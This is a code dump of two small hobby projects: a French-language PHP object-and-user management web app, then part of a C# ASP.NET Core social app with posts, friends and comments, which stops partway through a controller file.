$date = new DateTime('2012-12-02'); $result = $date->format('Y-m-d'); $obj = new Objet("Objet2", $result, "Un objet modifi? maintenant Objet 2", "Categorie2", $user->getLogin(), 1); //$db->createObjet($obj); //$db->deleteObjet($obj); $db->modifObjet($obj); //$dbu->modifUser($user, $user->getLogin()); //$this->contenu .= var_dump($db->readObjectFromDateUser($result, $user)); //$this->contenu .= var_dump($db->readObjectFromUserCategorieDate($user, 'Categorie2', $result)); $this->contenu .= var_dump($db->readObjectFromUserCategorieDate($user->getLogin(), 'Categorie2', $result)); $this->contenu .= var_dump($db->readAll()); //$this->contenu .= var_dump($db->readLastAdded($user)); //$this->contenu .= var_dump($dbu->readAll()); $message_erreur = $db->getErreur(); } } ?> <file_sep>/src/vue/squelettes/squelette_objet.php <!DOCTYPE html> <html lang="fr"> <head> <title> <?php echo $this->titre; ?> </title> </head> <body> <h1> <?php echo $this->titre; ?> </h1> <?php if ($this->feedback !== '') { ?> <div><?php echo $this->feedback; ?></div> <?php } ?> <ul> <?php echo $this->contenu;?> </ul> </body> </html> <file_sep>/src/modele/utilisateur/ConstructeurUtilisateur.php <?php set_include_path("./src"); require_once("modele/utilisateur/Utilisateur.php"); require_once("modele/utilisateur/UtilisateurStorageDB.php"); // Classe permettant de g?rer la cr?ation d'un utilisateur et sa modification class ConstructeurUtilisateur { private $donnees; private $erreur; private $utilisateurs; // Constantes repr?sentant les r?f?rences des diff?rents champs du formulaire const LOGIN_REF = "login"; const PASSWORD_REF = "password"; const PRENOM_REF = "prenom"; const NOM_REF = "nom"; const ADMIN_REF = "admin"; // Constructeur public function __construct (UtilisateurStorageDB $utilisateurs, array $donnees) { $this->donnees = $donnees; $this->erreur = array(self::LOGIN_REF => "", self::PASSWORD_REF => "", self::PRENOM_REF => "", self::NOM_REF => "", ); $this->utilisateurs = $utilisateurs; } // Assesseur de donnees public function getDonnees () { return $this->donnees; } // Assesseur d'erreurs public function getErreur () { return $this->erreur; } // M?thode retournant le login contenu dans les donn?es (renvoie une chaine vide si aucun login) public function getLogin () { if (key_exists(self::LOGIN_REF, $this->donnees)) { return $this->donnees[self::LOGIN_REF]; } else { return ""; } } // M?thode retournant le password contenu dans les donn?es (renvoie une chaine vide si aucun password) public function getPassword () { if (key_exists(self::PASSWORD_REF, $this->donnees)) { return $this->donnees[self::PASSWORD_REF]; } else { return ""; } } // M?thode retournant le pr?nom contenu dans les donn?es (renvoie une chaine vide si aucun pr?nom) public function getPrenom () { if (key_exists(self::PRENOM_REF, $this->donnees)) { return $this->donnees[self::PRENOM_REF]; } else { return ""; } } // M?thode retournant le nom contenu dans les donn?es (renvoie une chaine vide si aucun nom) public function getNom () { if (key_exists(self::NOM_REF, $this->donnees)) { return $this->donnees[self::NOM_REF]; } else { return ""; } } //M?thode retournant la valeur admin contenue dans les donn?es (renvoie false si aucun admin) public function getAdmin () { if (key_exists(self::ADMIN_REF, $this->donnees)) { return $this->donnees[self::ADMIN_REF]; } else { return false; } } // M?thode indiquant si le contenu du champ login est valide (donc qu'il ne correspond ? aucun login d?j? dans la base) public function loginValide ($login) { if ($this->utilisateurs->exist($login)) { $this->erreur[self::LOGIN_REF] = "Ce login est d?j? utilis?"; return false; } return true; } // M?thode indiquant si le contenu du champ correspond aux pr?requis public function champValide ($nom_champ) { // Le champ ne doit pas ?tre vide if ($this->donnees[$nom_champ] == null) { $this->erreur[$nom_champ] = "Veuillez remplir le champ " . $nom_champ; return false; // Le champ doit contenir moins de 64 caract?res } else if (mb_strlen($this->donnees[$nom_champ], 'UTF-8') > 64) { $this->erreur[$nom_champ] = "le " . $nom_champ . " doit faire moins de 64 caract?res"; return false; } // Si le champ correspond au champ du login if ($nom_champ === self::LOGIN_REF) { if (! $this->loginValide($this->donnees[$nom_champ])) { return false; } } return true; } // M?thode permettant d'indiquer si les donn?es sont valides ou non public function estValide () { // Si les clefs n'existent pas on retourne false if (! key_exists(self::LOGIN_REF, $this->donnees) or ! key_exists(self::PASSWORD_REF, $this->donnees) or ! key_exists(self::PRENOM_REF, $this->donnees) or ! key_exists(self::NOM_REF, $this->donnees)) { return false; } $login_valide = $this->champValide(self::LOGIN_REF); $password_valide = $this->champValide(self::PASSWORD_REF); $prenom_valide = $this->champValide(self::PRENOM_REF); $nom_valide = $this->champValide(self::NOM_REF); // Si tous les champs sont valides on retourne true if ($login_valide and $password_valide and $prenom_valide and $nom_valide) { return true; } return false; } // M?thode permettant de cr?er un utilisateur public function creationUtilisateur ($admin) { $utilisateur = new Utilisateur ($this->donnees[self::LOGIN_REF], password_hash($this->donnees[self::PASSWORD_REF], PASSWORD_BCRYPT), $this->donnees[self::PRENOM_REF], $this->donnees[self::NOM_REF], $admin); $this->utilisateurs->createUser($utilisateur); return $utilisateur; } // M?thode permettant de modifier un utilisateur public function modifUtilisateur (Utilisateur $utilisateur) { $utilisateur->setPassword($this->donnees[self::PASSWORD_REF]); $utilisateur->setPrenom($this->donnees[self::PRENOM_REF]); $utilisateur->setNom($this->donnees[self::NOM_REF]); $utilisateur->setAdmin($this->donnees[self::ADMIN_REF]); } } ?> <file_sep>/src/modele/utilisateur/UtilisateurStorageDB.php <?php require_once("./src/modele/utilisateur/Utilisateur.php"); class UtilisateurStorageDB{ private $pdo; private $erreur; function __construct($pdo) { $this->pdo = $pdo; $this->erreur = null; } public function getErreur(){ return $this->erreur; } //M?thode pour r?cuperer un utilisateur par son login ? utiliser une fois que l'utilisateur est connect?. //Apr?s l'appel de cette m?thode on cr?er un Objet Utilisateur pour manipuler les donn?es. public function readWithLogin($login){ $rq = "SELECT * FROM Clients WHERE login = :login"; $stmt = $this->pdo->prepare($rq); $data = array(":login" => $login); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } if ($stmt->rowCount() > 0) return $result = $stmt->fetch(); else { $this->erreur = "Login incorrect"; return null; } } //M?thode pour savoir si l'utilisateur est pr?sent dans la base ou non. //Si nous sommes dans une zone sensible et qu'on ne doit pas retourner de donn?es il est //pr?f?rable d'utiliser cette m?thode qui return que true ou false. public function exist($login){ $rq = "SELECT * FROM Clients WHERE login = :login"; $stmt = $this->pdo->prepare($rq); $data = array(":login" => $login); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } if($stmt->rowCount() > 0){ return true; } else { $this->erreur = "Utilisateur inexistant"; return false; } } //M?thode pour r?cuperer un mdp utilisateur public function identificationUser($login, $mdp){ $rq = "SELECT mdp FROM Clients WHERE login = :login"; $stmt = $this->pdo->prepare($rq); $data = array(":login" => $login); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } $result = $stmt->fetch()['mdp']; if(password_verify($mdp, $result)){ return true; } else { return false; } } //M?thode pour r?cuperer tous les utilisateurs de la bdd. A utiliser le moins possible. public function readAll(){ $rq = "SELECT * FROM Clients"; $stmt = $this->pdo->prepare($rq); $data = array(); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } return $result = $stmt->fetchAll(); } //M?thode pour cr?er un utilisateur. //Si l'utilisateur est inexistant la m?thode lance un exception public function createUser(Utilisateur $user){ $rq = "INSERT INTO Clients (login, nom, prenom, mdp, admin) VALUES (:login, :nom, :prenom, :mdp, :admin)"; $stmt = $this->pdo->prepare($rq); $data = array(":login" => $user->getLogin(), ":nom" => $user->getNom(), ":prenom" => $user->getPrenom(), ":mdp" => password_hash($user->getPassword(), PASSWORD_BCRYPT), ":admin" => $user->getAdmin() ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } try { $result = $this->readWithLogin($user->getLogin()); return $result; } catch (Exception $e) { throw new Exception($e->getMessage()); } } //M?thode pour supprimer un utilisateur de la base. //Utilisable en admin seulement et si l'utilisateur souhaite partir du site. //---->Cependant nous devons aussi supprimer tous les objets appartenant ? l'utilisateur. //$user c'est l'utilisateur que l'on souhaite supprimer. public function deleteUser(Utilisateur $user){ $rq = "DELETE FROM Clients WHERE login = :login"; $stmt = $this->pdo->prepare($rq); $data = array(":login" => $user->getLogin()); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } } //M?thode pour modifier un utilisateur //Utilisable que par l'utilisateur connect?. public function modifUser(Utilisateur $user, $login){ $rq = "UPDATE Clients SET login = :loginUp, nom = :nom, prenom = :prenom, mdp = :mdp WHERE login = :loginNow"; $stmt = $this->pdo->prepare($rq); $data = array(":loginUp" => $user->getLogin(), ":nom" => $user->getNom(), ":prenom" => $user->getPrenom(), ":mdp" => password_hash($user->getPassword(), PASSWORD_BCRYPT), ":loginNow" => $login ); if(!$stmt->execute($data)){ throw new Exception($pdo->errorInfo()); } else { try { $result = $this->readWithLogin($login); return $result; } catch (Exception $e) { throw new Exception($e->getMessage()); } } } } ?><file_sep>/src/modele/objet/ConstructeurObjet.php <?php set_include_path("./src"); require_once("modele/objet/Objet.php"); require_once("modele/objet/ObjetStorageDB.php"); class ConstructeurObjet { private $donnees; private $erreur; private $objets; private $utilisateur; const NOM_REF = "nom"; const DESCRIPTION_REF = "description"; const CATEGORIE_REF = "categorie"; public function __construct ($utilisateur, array $donnees=null) { if (empty($donnees)) { $donnees = array( "nom" => "", "description" => "", "categorie" => "", ); } $this->donnees = $donnees; $this->utilisateur = $utilisateur; $this->erreur = null; } public static function construireViaObjet(Objet $obj, $utilisateur) { return new ConstructeurObjet($utilisateur, array( "nom" => $obj->getNom(), "description" => $obj->getDescription(), "categorie" => $obj->getCategorie(), )); } //Accesseur de donn?es public function getDonnees () { return $this->donnees; } //Accesseur de erreur public function getErreur () { return $this->erreur; } //M?thode pour retourner le nom de l'objet des donn?es POST public function getNom () { if (key_exists(self::NOM_REF, $this->donnees)) { return $this->donnees[self::NOM_REF]; } else { return ""; } } //M?thode pour retourner la description de l'objet des donn?es POST public function getDescription () { if (key_exists(self::DESCRIPTION_REF, $this->donnees)) { return $this->donnees[self::DESCRIPTION_REF]; } else { return ""; } } //M?thode pour retourner la cat?gorie de l'objet des donn?es POST public function getCategorie () { if (key_exists(self::CATEGORIE_REF, $this->donnees)) { return $this->donnees[self::CATEGORIE_REF]; } else { return ""; } } public function estValide () { if (!key_exists(self::NOM_REF, $this->donnees) || !key_exists(self::DESCRIPTION_REF, $this->donnees) || !key_exists(self::CATEGORIE_REF, $this->donnees)){ return false; } if ($this->donnees['nom'] == null) { $this->erreur = "Erreur : Veuillez remplire le champ nom."; return false; } if (mb_strlen($this->donnees['nom'], 'UTF-8') > 64) { $this->erreur = "Erreur : Nom trop long, maximum 64 caract?res."; return false; } if (mb_strlen($this->donnees['description'], 'UTF-8') > 255) { $this->erreur = "Erreur : Description trop longue, maximum 255 caract?res."; return false; } return true; } public function modifierObjet(Objet $obj) { $obj->setNom($this->donnees['nom']); $obj->setDescription($this->donnees['description']); $obj->setCategorie($this->donnees['categorie']); } public function creationObjet () { $objet = new Objet($this->donnees[self::NOM_REF], date('Y-m-d'), $this->donnees[self::DESCRIPTION_REF], $this->donnees[self::CATEGORIE_REF], $this->utilisateur); return $objet; } } ?><file_sep>/src/vue/squelettes/squelette_galerie.php <!DOCTYPE html> <html lang="fr"> <head> <title>Objet</title> </head> <body> <h1> <?php echo $this->titre; ?> </h1> <ul> <?php echo $this->contenu;?> </ul> </body> </html>
960d4e4c4e29e72f3967232ac34e6ddbc8e9f382
[ "Markdown", "PHP" ]
14
PHP
schahinheidari/Technologie-Web-php-html-css-
dd4772c4e98678a625569b8e17db0267aa25bdb7
a9ce9364997e5252020b8ea66db864bc52015e5b
refs/heads/master
<file_sep>var fs = require('fs'); var path = require('path'); var emConverter = function(less, fontsize, basefontsize){ if (less.tree.functions.ispixel(fontsize)){ basefontsize = (basefontsize) ? basefontsize.value : 16 return fontsize.value/basefontsize+'em'; } }; module.exports = function(grunt) { grunt.initConfig({ less: { development: { options : { customFunctions : { em: emConverter } }, files: { 'dist/css/bare.css' : 'src/main.less' } }, dist: { options: { compress: true, yuicompress: true, optimization: 4, customFunctions : { em: emConverter } }, files: { 'dist/css/bare.min.css' : 'src/main.less' } } }, watch : { styles: { files: ['src/**/*.less'], tasks: ['less'], options: { nospawn: true } } } }); //load grunt.loadNpmTasks('grunt-contrib-less'); grunt.loadNpmTasks('grunt-contrib-watch'); //register grunt.registerTask('default', ['watch']); grunt.registerTask('watcher' , ['watch']); grunt.registerTask('build' , ['less']); }; <file_sep># Bare Bare minimal responsive css grid # Install ```shell $ bower install bare ``` # WHY * Because we wanted a stripped css grid without the bloated css framework. * Because we love old css grids naming. # Features * no javascript * no reset (you need to use anything you prefer) * no gutter (you can define) * small code base * support all modern browsers down to IE7 & maybe IE6 # Caveats bare doesn't include a css reset by default, so you need to add one your self, we recommend normalize. ```html <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/3.0.1/normalize.min.css"> ``` # Usage & Demo See bare CSS [home page](http://sweefty.com/bare) License ---- MIT **By [Sweefty](http://sweefty.com)**
f300a41f10ccb36a098104afaeb31971ae23b869
[ "JavaScript", "Markdown" ]
2
JavaScript
Sweefty/bare
ad3791ba0501e14f9c8d041a58a95b55e9e045f3
9a70f8e06163630b61be2bbe55e5d43bb43d3016
refs/heads/master
<file_sep># LowestCommonAncestorOfABinarySearchTree-Leetcode-235 Leetcode Question 235 (Medium) Techniques Used in Question: DFS [Link to Question](https://leetcode.com/problems/lowest-common-ancestor-of-a-binary-search-tree/) <file_sep>//Objective is to find the lowest common ancestor of two nodes in a BST class Node { constructor(left, right, val) { this.left = left this.right = right this.val = val } } class Tree { constructor(root) { this.root = null } createRoot(val) { this.root = new Node(null, null, val) } addLeftNode(node, val) { node.left = new Node(null, null, val) } addRightNode(node, val) { node.right = new Node(null, null, val) } } let tree = new Tree() tree.createRoot(11) tree.addLeftNode(tree.root, 9) tree.addRightNode(tree.root, 20) tree.addRightNode(tree.root.right, 36) tree.addLeftNode(tree.root.right, 15) let p = new Node(14) let q = new Node(16) //O(n) solution that does a dfs traversal over the tree until the node's value //is in between p and q let root = tree.root if (p.val > root.val && q.val > root.val) { return lowestCommonAncestor(root.right, p, q) } else if (p.val < root.val && q.val < root.val) { return lowestCommonAncestor(root.left, p, q) } else { return root }
e45c2d6d774adf66cc95afbe218b8a81b8248e33
[ "Markdown", "JavaScript" ]
2
Markdown
kevindai777/LowestCommonAncestorOfABinarySearchTree-Leetcode-235
b634a0a89d21584196b6c5543c3590d0b20896e0
ca4aaad475b1f7533a38175d09e5c9f6935f4c54
refs/heads/master
<repo_name>zeedt/TGIFMOBILE<file_sep>/src/Services/RestService.ts import { Http,Headers,HttpModule } from '@angular/http'; import 'rxjs/add/operator/toPromise'; import {Injectable} from '@angular/core'; import {AlertController,NavController} from 'ionic-angular'; import {HomePage} from './../pages/home/home'; import {DatabaseService} from './../Services/DatabaseService'; import {Observable} from 'rxjs/Rx'; import base64Img from 'base64-img' import 'rxjs/add/operator/map'; import 'rxjs/add/operator/catch'; // import {DatabaseService} from './DatabaseService' @Injectable() export class RestService{ instgramPics=[]; constructor(private http:Http,public alertc:AlertController,public navCtrl:NavController,public datab:DatabaseService) {} async getInstagramImages():Promise<any>{ return await this.http.get("https://api.instagram.com/v1/users/self/media/recent/?access_token=<PASSWORD>").toPromise(); } async RegisterUser(json):Promise<any>{ try{ var storeData = json; json = JSON.stringify(json); var param = "json="+json; var header = new Headers(); header.append('Content-Type','application/x-www-form-urlencoded'); let resp = await this.http.post('http://localhost:9001/user/RegisterUser',param,{headers:header}) .toPromise(); // alert(resp.text()); if(resp.text()=="Already exist"){ var cc = this.alertc.create({ title:"Response message", message:"Username already exist.Please choose another", buttons:["OK"] }); cc.present(); }else if(resp.text()=="Success"){ var cc = this.alertc.create({ title:"Response message", message:"Registration successful", buttons:["OK"] }); cc.present(); this.datab.addUser(storeData); this.navCtrl.push(HomePage); }else{ var cc = this.alertc.create({ title:"Response message", message:"Error occured while registering. Please Retry or contact Admin", buttons:["OK"] }); cc.present(); } console.log(resp); } catch(err){ alert("Errrr"); console.log(err); } } async ValidateUser(json):Promise<any>{ try{ var storeData = json; json = JSON.stringify(json); var param = "json="+json; var header = new Headers(); header.append('Content-Type','application/x-www-form-urlencoded'); // let resp = await this.http.post('http://localhost:9001/user/validateUser',param,{headers:header}) let resp = await this.http.post('http://tgifnaija.cleverapps.io/user/validateUser',param,{headers:header}) .toPromise(); // alert(resp.text()); if(resp.text()=="1"){ this.datab.addUser(storeData); this.navCtrl.push(HomePage); }else if(resp.text()=="0"){ var cc = this.alertc.create({ title:"Response message", message:"Invalid username/Password", buttons:["OK"] }); cc.present(); }else{ var cc = this.alertc.create({ title:"Response message", message:"Error occured while registering. Please Retry or contact Admin", buttons:["OK"] }); cc.present(); } console.log(resp); } catch(err){ console.log(err); var cc = this.alertc.create({ title:"Response message", message:"Error occured", buttons:["OK"] }); cc.present(); } } }<file_sep>/src/Services/DatabaseService.ts import { Injectable } from '@angular/core'; import * as PouchDB from 'pouchdb'; // import { NavController } from 'ionic-angular'; // import cordovaSqlitePlugin from 'pouchdb-adapter-cordova-sqlite'; // import ccc from 'pouchdb-adapter-node-websql'; // pouchdb-adapter-node-websql @Injectable() export class DatabaseService { private _db; private _user; private _IGIMAGES = []; private _dbIg; initDB() { // PouchDB.plugin(cordovaSqlitePlugin); // this._db = new PouchDB('userDB.db', { adapter: 'cordova-sqlite' }); // this._dbIg = new PouchDB('IGpics.db', { adapter: 'cordova-sqlite' }); this._db = new PouchDB('userDB.db', { size: 50 }); this._dbIg = new PouchDB('IGpics.db', { size: 20 }); window["PouchDB"] = PouchDB; } private onDatabaseChange = (change) => { var index = this.findIndex(this._user, change.id); var birthday = this._user[index]; if (change.deleted) { if (birthday) { this._user.splice(index, 1); // delete } } else { change.doc.Date = new Date(change.doc.Date); if (birthday && birthday._id === change.id) { this._user[index] = change.doc; // update } else { this._user.splice(index, 0, change.doc) // insert } } } // Binary search, the array is by default sorted by _id. private findIndex(array, id) { var low = 0, high = array.length, mid; while (low < high) { mid = (low + high) >>> 1; array[mid]._id < id ? low = mid + 1 : high = mid } return low; } getAll(){ if (!this._user) { return this._db.allDocs({ include_docs: true}) .then(docs => { // Each row has a .doc object and we just want to send an // array of birthday objects back to the calling controller, // so let's map the array to contain just the .doc objects. this._user = docs.rows.map(row => { // Dates are not automatically converted from a string. // row.doc.Date = new Date(row.doc.Date); console.log("Row is noni "+(row.doc._id)); return row.doc; }); // Listen for changes on the database. this._db.changes({ live: true, since: 'now', include_docs: true}) .on('change', this.onDatabaseChange); return this._user; }); } else { // Return cached data as a promise console.log("user "+this._user); return Promise.resolve(this._user); } } addUser(user) { this.initDB(); return this._db.post(user); }; getById(id){ this._db.get(id).then(data=>{ console.log("mm "+JSON.stringify(data)); return data; }); } getImgById(id){ this._db.get(id).then(data=>{ console.log("mm "+JSON.stringify(data)); return data; }); } addIGImage(image){ this.initDB(); try{ return this._dbIg.put(image); }catch(err){ console.log("Error occured "+err); } } getAllStoredIGimg(){ if (!this._IGIMAGES) { return this._dbIg.allDocs({ include_docs: true}) .then(docs => { this._IGIMAGES = docs.rows.map(row => { return row.doc; }); // Listen for changes on the database. this._dbIg.changes({ live: true, since: 'now', include_docs: true}) .on('change', this.onIGDatabaseChange); return this._IGIMAGES; }); } else { // Return cached data as a promise // console.log("user "+this._IGIMAGES); return Promise.resolve(this._IGIMAGES); } } onIGDatabaseChange = (change) => { var index = this.findIndex(this._IGIMAGES, change.id); var image = this._IGIMAGES[index]; if (change.deleted) { if (image) { this._IGIMAGES.splice(index, 1); // delete } } else { change.doc.Date = new Date(change.doc.Date); if (image && image._id === change.id) { this._IGIMAGES[index] = change.doc; // update } else { this._IGIMAGES.splice(index, 0, change.doc) // insert } } } }<file_sep>/src/pages/profile/profile.ts import {Component} from '@angular/core' import { ViewController,NavParams } from 'ionic-angular'; @Component({ selector: 'page-profile', templateUrl: 'profile.html' }) export class Profile { dataSource; constructor(public viewCtrl: ViewController,public navp:NavParams) { this.dataSource = this.navp.get("data"); // console.log("Data is "+this.navp.get("data")); } dismiss() { let data = { 'foo': 'bar' }; this.viewCtrl.dismiss(data); } }<file_sep>/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { ErrorHandler, NgModule } from '@angular/core'; import { IonicApp, IonicErrorHandler, IonicModule} from 'ionic-angular'; import { MyApp } from './app.component'; import { HomePage } from '../pages/home/home'; import { SignUpPage } from '../pages/sign-up/sign-up'; // import { FeedsPage } from '../pages/feeds/feeds'; import {DetailsPage} from "../pages/details/details"; import { ListPage } from '../pages/list/list'; import {Push} from "@ionic-native/push"; import {DatabaseService} from '../Services/DatabaseService' import { BarsPage } from '../pages/bars/bars'; import { CasinosPage } from '../pages/casinos/casinos'; import { ClubsPage } from '../pages/clubs/clubs'; import { LoungesPage } from '../pages/lounges/lounges'; import { Profile } from '../pages/profile/profile'; import { NightlifePage } from '../pages/nightlife/nightlife'; import { StatusBar } from '@ionic-native/status-bar'; import { SplashScreen } from '@ionic-native/splash-screen'; import { IonicImageViewerModule } from 'ionic-img-viewer'; import { HttpModule } from '@angular/http'; import { CloudSettings, CloudModule } from '@ionic/cloud-angular'; const cloudSettings: CloudSettings = { 'core': { 'app_id': 'd2060162' }, 'push': { 'sender_id': '184708630915', 'pluginConfig': { 'ios': { 'badge': true, 'sound': true }, 'android': { 'iconColor': '#ff0000' } } } }; @NgModule({ declarations: [ MyApp, HomePage, ListPage,SignUpPage, BarsPage,DetailsPage, ClubsPage,NightlifePage,CasinosPage,LoungesPage,Profile ], imports: [ BrowserModule,HttpModule,IonicImageViewerModule, IonicModule.forRoot(MyApp), CloudModule.forRoot(cloudSettings) ], bootstrap: [IonicApp], entryComponents: [ MyApp, HomePage, ListPage,SignUpPage ,BarsPage,DetailsPage ,ClubsPage,NightlifePage,CasinosPage,LoungesPage,Profile ], providers: [ StatusBar, SplashScreen,DatabaseService,Push, {provide: ErrorHandler, useClass: IonicErrorHandler} ] }) export class AppModule {} <file_sep>/src/pages/clubs/clubs.ts import { Component } from '@angular/core'; import { IonicPage, NavController, NavParams } from 'ionic-angular'; import {HomePage} from './../home/home' /** * Generated class for the ClubsPage page. * * See http://ionicframework.com/docs/components/#navigation for more info * on Ionic pages and navigation. */ @IonicPage() @Component({ selector: 'page-clubs', templateUrl: 'clubs.html', }) export class ClubsPage { constructor(public navCtrl: NavController, public navParams: NavParams) { } ionViewDidLoad() { console.log('ionViewDidLoad ClubsPage'); // var iframe = document.getElementById('iframe'); } error(){ alert("Error"); } Home(){ this.navCtrl.push(HomePage); } } <file_sep>/src/pages/feeds/feeds.ts import { Component } from '@angular/core'; import {IonicPage, NavController,ToastController, NavParams,LoadingController } from 'ionic-angular'; import base64Img from 'base64-img' import { RestService } from './../../Services/RestService'; import {DatabaseService} from './../../Services/DatabaseService'; import { Observable} from 'rxjs/Rx'; import 'rxjs/add/operator/map'; import 'rxjs/add/operator/catch'; // import cordovaSqlitePlugin from 'pouchdb-adapter-cordova-sqlite'; import * as PouchDB from 'pouchdb'; import fetchImg from "fetch-base64" import fetchIMG from "image-base64"; import i2b from "imageurl-base64"; /** * Generated class for the FeedsPage page. * * See http://ionicframework.com/docs/components/#navigation for more info * on Ionic pages and navigation. */ // @IonicPage() @Component({ selector: 'page-feeds', templateUrl: 'feeds.html', providers:[RestService] }) export class FeedsPage { imgUrls=[]; bb=0;c=0; private _IGIMAGES; private _dbIg; showLoad = this.loadingC.create({ content:"Fetching grid images. Please wait" }); t = this.toast.create({ message:"Loading feeds...", // duration:3000, position:"top", // showCloseButton:true }) constructor(public navCtrl: NavController, public navParams: NavParams,public toast:ToastController, public restServ:RestService,public datab:DatabaseService,public loadingC:LoadingController) { } saveImage(e){ this.initDB(); this.addIGImage({_id:e}); } addIGImage(image){ this.initDB(); try{ return this._dbIg.put(image); }catch(err){ console.log("Error occured "+err); } } initDB() { // PouchDB.plugin(cordovaSqlitePlugin); // this._dbIg = new PouchDB('IGpics.db', { adapter: 'cordova-sqlite' }); this._dbIg = new PouchDB('IGpics.db', { size: 20 }); window["PouchDB"] = PouchDB; } ionViewDidLoad() { console.log('ionViewDidLoad FeedsPage'); this.initDB(); // this.loadInstagramImage(); // this.getAllStoredIGimg(); // Observable.interval(200*60).subscribe(x=>{ // if(this.imgUrls.length==0){ // this.getAllStoredIGimg(); // } // } // ); var obs = Observable.interval(200*60).takeWhile((i)=>this.imgUrls.length<20) .do(v=>{console.log("V "+v);}).share(); obs.subscribe(v=>{console.log("Vw 2 "+v);this.loadInstagramImage()}); obs.subscribe(v=>{console.log("Vw 3 "+v);this.getAllStoredIGimg()}); Observable.interval(10*60).subscribe(x=>{ if(this.imgUrls.length<20){ if(this.bb!=1 && this.c==0){ this.t.present(); this.c=1; } } else{ if(this.bb==0){ this.t.dismiss(); } this.bb = 1; } } ); } loadInstagramImage(){ this.initDB(); this.restServ.getInstagramImages(). then(dataq=>{ for (var i=1;i<=dataq.json().data.length;i++){ var url = dataq.json().data[i-1].images.standard_resolution.url; console.log("Url is "+url); // const fetch = require(fetch-base64); i2b(url,(err,data)=>{ console.log("In i2b"); this.saveImage(data.dataUri); console.log(data); }); // fetchImg.remote(url).then((data) => { // console.log("Fetched "); // this.saveImage(data[1]); // // data[0] contains the raw base64-encoded jpg // }).catch((reason) => {console.log("ERRRR "+reason)}); // base64Img.requestBase64(url, (err, res, body)=> { // if(body!=undefined && body!=null){ // this.saveImage(body); // } // }); } }).catch(err=>{console.log("Error is "+err)}); } getAllStoredIGimg(){ console.log("Calling this"); this.initDB(); if (!this._IGIMAGES) { this._dbIg.allDocs({ include_docs: true}) .then(docs => { this._IGIMAGES = docs.rows.map((row,i) => { this.imgUrls[i]=(row.doc._id); return row.doc; }); // Listen for changes on the database. this._IGIMAGES.map((image,i)=>{ // this.imgUrls[i]=(image._id); }) return this._IGIMAGES; }); } else { console.log("Calling this 1"); this.initDB(); // Return cached data as a promise this._dbIg.allDocs({ include_docs: true}) .then(docs => { this._IGIMAGES = docs.rows.map((row,i) => { this.imgUrls[i]=(row.doc._id); // return row.doc; }); if(this.imgUrls.length<20){ this.loadInstagramImage(); } // Listen for changes on the database. return this._IGIMAGES; }); this._IGIMAGES.map((image,i)=>{ this.imgUrls[i]=(image._id); }) return Promise.resolve(this._IGIMAGES); } } onIGDatabaseChange = (change) => { var index = this.findIndex(this._IGIMAGES, change.id); var image = this._IGIMAGES[index]; if (change.deleted) { if (image) { this._IGIMAGES.splice(index, 1); // delete } } else { change.doc.Date = new Date(change.doc.Date); if (image && image._id === change.id) { this._IGIMAGES[index] = change.doc; // update } else { this._IGIMAGES.splice(index, 0, change.doc) // insert } } } // Binary search, the array is by default sorted by _id. private findIndex(array, id) { var low = 0, high = array.length, mid; while (low < high) { mid = (low + high) >>> 1; // array[mid]._id < id ? low = mid + 1 : high = mid } return low; } }<file_sep>/src/pages/casinos/casinos.module.ts import { NgModule } from '@angular/core'; import { IonicPageModule } from 'ionic-angular'; import { CasinosPage } from './casinos'; @NgModule({ declarations: [ CasinosPage, ], imports: [ IonicPageModule.forChild(CasinosPage), ], exports: [ CasinosPage ] }) export class CasinosPageModule {}
4454247c640f8b0dd2c7b159cb39c8060cb9e873
[ "TypeScript" ]
7
TypeScript
zeedt/TGIFMOBILE
87e7f5e2d0649fd561509d0ea19197e8e87f2749
6ab784b3a60aca36c1675a2e600eb8b180e86930
refs/heads/master
<repo_name>michcic/SocialApp<file_sep>/SocialApp2/Models/Friend.cs using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace SocialApp2.Models { public class Friend { [Key] public int Id { get; set; } public string UserSenderId { get; set; } public string UserReceiverId { get; set; } } } <file_sep>/SocialApp2/Data/ApplicationDbContext.cs using System; using System.Collections.Generic; using System.Text; using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; using SocialApp.Models; using SocialApp2.Models; namespace SocialApp2.Data { public class ApplicationDbContext : IdentityDbContext { public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) : base(options) { } public DbSet<Post> Posts { get; set; } public DbSet<Invitation> Invitation { get; set; } public DbSet<Friend> Friends { get; set; } public DbSet<Comment> Comments { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); /*modelBuilder.Entity<Friend>() .HasKey(e => new { e.UserSenderId, e.UserReceiverId }); modelBuilder.Entity<Friend>() .HasOne(e => e.UserSender) .WithMany(e => e.FriendsByReceived) .HasForeignKey(e => e.UserSenderId).OnDelete(DeleteBehavior.Cascade); modelBuilder.Entity<Friend>() .HasOne(e => e.UserReceiver) .WithMany(e => e.FriendsBySend) .HasForeignKey(e => e.UserReceiverId).OnDelete(DeleteBehavior.Cascade);*/ } } } <file_sep>/SocialApp2/Controllers/CommentsController.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Identity; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using Microsoft.EntityFrameworkCore; using SocialApp.Models; using SocialApp2.Data; using SocialApp2.Models; namespace SocialApp2.Controllers { public class CommentsController : Controller { private readonly ApplicationDbContext _context; private readonly UserManager<IdentityUser> _user; public CommentsController(ApplicationDbContext context, UserManager<IdentityUser> user) { _context = context; _user = user; } // GET: Comments public async Task<IActionResult> Index(int id) { PostCommentView view = new PostCommentView() { Post = await _context.Posts.SingleAsync(p => p.Id == id), Comments = await _context.Comments.ToListAsync() }; return View(view); } // GET: Comments/Details/5 public async Task<IActionResult> Details(int? id) { if (id == null) { return NotFound(); } var comment = await _context.Comments .FirstOrDefaultAsync(m => m.Id == id); if (comment == null) { return NotFound(); } return View(comment); } // GET: Comments/Create public IActionResult Create() { return View(); } // POST: Comments/Create // To protect from overposting attacks, please enable the 